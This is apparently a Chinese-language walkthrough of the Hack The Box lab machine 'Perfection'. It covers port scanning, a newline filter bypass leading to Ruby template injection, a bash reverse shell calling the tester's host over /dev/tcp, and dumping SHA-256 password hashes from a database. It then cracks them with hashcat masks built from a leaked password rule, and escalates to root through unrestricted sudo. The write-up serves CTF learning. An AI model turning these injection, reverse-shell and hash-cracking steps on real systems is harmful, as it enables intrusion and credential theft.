HTB Perfection

Perfection

User

Namp

┌──(kali㉿kali)-[~/HTB/machine/Perfection]└─$ nmap -A 10.129.226.58  Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-03 21:10 ESTNmap scan report for 10.129.226.58Host is up (0.52s latency).Not shown: 998 closed tcp ports (conn-refused)PORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: |   256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)|_  256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)80/tcp open  http    nginx|_http-title: Weighted Grade CalculatorService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 84.71 seconds

���典两端口 22 80 经典linux机器

80

经过简单的浏览，整个web就只有这里有数据交互，问题大概率也出现在这里

这个web 是用ruby 写的 ，从服务的http头响应包里面可以看出来

Malicious Input Blocked

这里有恶意字符检查，大概率存在命令注入或者其他问题

经过简单fuzz ，%0a 可以绕过检查

SSTI

Referer:SSTI (Server Side Template Injection) - HackTricks

经过简单搜索相关信息，ruby 搭建的web应用可能存在ssti，经过测试这里确实存在

POST /weighted-grade-calc HTTP/1.1Host: 10.129.226.58Content-Length: 200Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://10.129.226.58Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://10.129.226.58/weighted-grade-calcAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Connection: closecategory1=a%0a&grade1=100%0a&weight1=100&category2=N%2FA&grade2=0&weight2=0&category3=N%2FA&grade3=0&weight3=0&category4=N%2FA&grade4=0&weight4=0&category5=N%2FA&grade5=00&weight5=0

ReverseShell

POST /weighted-grade-calc HTTP/1.1Host: 10.129.226.58Content-Length: 218Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://10.129.226.58Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://10.129.226.58/weighted-grade-calcAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Connection: closecategory1=a%0a&grade1=100%0a&weight1=100&category2=N%2FA&grade2=0&weight2=0&category3=N%2FA&grade3=0&weight3=0&category4=N%2FA&grade4=0&weight4=0&category5=N%2FA&grade5=00&weight5=0

┌──(kali㉿kali)-[~/HTB/machine/Perfection]└─$ cat 1.sh bash -i >& /dev/tcp/10.10.16.3/4444 0>&1

成功拿到user flag

Root

Linpeas

Referer:https://github.com/carlospolop/PEASS-ng/releases/download/20240303-ce06043c/linpeas.sh

mail

susan@perfection:~/ruby_app$ cat /var/mail/susan cat /var/mail/susan Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other studentsin our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}Note that all letters of the first name should be convered into lowercase.Please hit me with updates on the migration when you can. I am currently registering our university with the platform.- Tina, your delightful studentsusan@perfection:~/ruby_app$ 

由于 PupilPath 数据泄露，我们过渡到 Jupiter Grades，我认为我们也应该迁移我们的凭证（“我们的”，包括其他学生）在我们班）到新平台。 我还建议采用新的密码规范，以使每个人都更轻松。 密码格式为：{名字}_{名字倒序}_{1 到 1,000,000,000 之间随机生成的整数}请注意，名字的所有字母都应转换为小写。如果可以的话，请告诉我有关迁移的最新信息。 我目前正在该平台上注册我们的大学。- 蒂娜，你可爱的学生

db

把db文件下载来查看内容

┌──(kali㉿kali)-[~/HTB/machine/Perfection]└─$ sqlite3 pupilpath_credentials.db SQLite version 3.44.2 2023-11-24 11:41:44Enter ".help" for usage hints.sqlite> .tablesuserssqlite> select * from users;1|Susan Miller|abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f2|Tina Smith|dd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec573|Harry Tyler|d33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a63934|David Lawrence|ff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87a5|Stephen Locke|154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8sqlite> 

好几个hash文件

hash-identify

┌──(kali㉿kali)-[~/HTB/machine/Perfection]└─$ echo 'abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f' | hash-identifier    #########################################################################   #     __  __                     __           ______    _____           #   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #   #              By Zion3R #   #     www.Blackploit.com #   #    Root@Blackploit.com #   #########################################################################-------------------------------------------------- HASH: Possible Hashs:[+] SHA-256[+] Haval-256Least Possible Hashs:[+] GOST R 34.11-94[+] RipeMD-256[+] SNEFRU-256[+] SHA-256(HMAC)[+] Haval-256(HMAC)[+] RipeMD-256(HMAC)[+] SNEFRU-256(HMAC)[+] SHA-256(md5($pass))[+] SHA-256(sha1($pass))-------------------------------------------------- HASH: Traceback (most recent call last):  File "/usr/share/hash-identifier/hash-id.py", line 568, in     h = input(" HASH: ")        ^^^^^^^^^^^^^^^^EOFError: EOF when reading a line

加密类型大概率是256

hashcat

根据邮件内容，密码是以下面的规则生成的

{名字}{名字倒序}{1 到 1,000,000,000 之间随机生成的整数}

hashcat 有一个增量模式,非常适合在已只一部分密码需要爆破剩下部分的情况

增量模式 -a 3

如果你知道密码的一部分是一个从1到10亿的数字，这意味着你需要生成一个9位或10位的数字。不过，直接使用掩码模式来进行爆破可能会非常花时间，因为你需要遍历10亿个可能性。如果你还知道其他的密码信息，比如密码的其它部分，使用掩码模式将会更有效。如果你的哈希类型是 MD5，且你只知道的密码段是一个范围从1到10亿的数字，你可能需要使用以下的命令：plaintexthashcat -m 0 -a 3 -i --increment-min=1 --increment-max=10 hash.txt ?d?d?d?d?d?d?d?d?d?d在以上命令中：-m 0 描述了哈希类型（MD5）。-a 3 表示我们正在使用掩码模式。-i 以及 --increment-min=1 和 --increment-max=10 指定了你要爆破的最小和最大长度。默认长度从1开始?d?d?d?d?d?d?d?d?d?d 是一个掩码字符串，用于生成尝试的密码。 ?d 表示一位数字，你需要9位或10位数字，所以有9个或10个?d。不过，如果密码的其他部分也是未知的，这可能需要非常长的时间来进行爆破破解。正常情况下，在知道更多的前提信息的情况下使用掩码模式才更为高效。

? 后面的字符标记定义了特定类型的字符集进行密码尝试的生成。Hashcat 中主要的字符标记有下面这几种：?l : 一个小写字母的字符集（abcd...z）。?u : 一个大写字母的字符集（ABCD...Z）。?d : 一个数字字符集（0123456789）。?s : 一个特殊字符的字符集（包括所有标准非字母数字的键盘字符，如 ! @ # $ % 等）。?a : 一个包含以上所有字符集的字符集（即小写字母，大写字母，数字，特殊字符）。?b : 所有可能的字符256个, 即0x00 - 0xff。你可以混合使用这些标记来匹配你需要的模式。例如，如果你知道密码由一个大写字母、一个小写字母和一个特殊字符组成，你就可以写出像 ?u?l?s 的模式。同时你还可以定义自己的字符集。例如：?1abcde : 自定义一个字符集包括 'a', 'b', 'c', 'd', 'e'?2ABCDE : 自定义一个字符集包括 'A', 'B', 'C', 'D', 'E'然后你就可以以这种方式使用你定义的字符集： ?2?1?1?1，这里使用了字符集 2 中的一个字符和字符集 1 中的三个字符。通过定义和使用自己的字符集，你可以更具体地生成尝试的密码，特别是当你有更多信息的时候。

import randomdef generate_passwords(names):    passwords = {}    with open('password.dict',"a") as f:        for name in names:            reverse_name = name[::-1]            stub = '?d?d?d?d?d?d?d?d?d?d'            password = "{0}_{1}_{2}".format(name, reverse_name, stub)            passwords[name] = password            f.write(password+"\n")    return passwordsnamestr = 'susan,tina,harry,david,stephen'names = namestr.split(',') # 初始化名字列表print(names)passwords = generate_passwords(names)

                        ┌──(kali㉿kali)-[~/HTB/machine/Perfection]                             └─$ hashcat -m 1400 -a 3 hash password.dict  

  ┌──(kali㉿kali)-[~/HTB/machine/Perfection]└─$ hashcat -m 1400 -a 3 hash1 susan_nasus_?d?d?d?d?d?d?d?d?d?d  --showabeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210

最终破解成功

susan_nasus_413759210

susan

┌──(kali㉿kali)-[~/HTB/machine/Perfection]└─$ ssh susan@perfection.htbsusan@perfection.htb's password: Permission denied, please try again.susan@perfection.htb's password: Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-97-generic x86_64) * Documentation:  https://help.ubuntu.com * Management:     https://landscape.canonical.com * Support:        https://ubuntu.com/pro  System information as of Mon Mar  4 10:29:19 AM UTC 2024  System load:           0.0615234375  Usage of /:            51.2% of 5.80GB  Memory usage:          6%  Swap usage:            0%  Processes:             216  Users logged in:       0  IPv4 address for eth0: 10.129.205.189  IPv6 address for eth0: dead:beef::250:56ff:fe94:26fExpanded Security Maintenance for Applications is not enabled.0 updates can be applied immediately.4 additional security updates can be applied with ESM Apps.Learn more about enabling ESM Apps service at https://ubuntu.com/esmThe list of available updates is more than a week old.To check for new updates run: sudo apt updateYou have mail.susan@perfection:~$ sudo -l[sudo] password for susan: Matching Defaults entries for susan on perfection:    env_reset, mail_badpass,    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_ptyUser susan may run the following commands on perfection:    (ALL : ALL) ALLsusan@perfection:~$ sudo bashroot@perfection:/home/susan# cd /rootroot@perfection:~# lsroot.txtroot@perfection:~# cat root.txt

susan 用户可以以root执行任意命令

In summary

考察简单的探测能力，以及hashcat的用法，学到了hashcat -a 模式的使用方法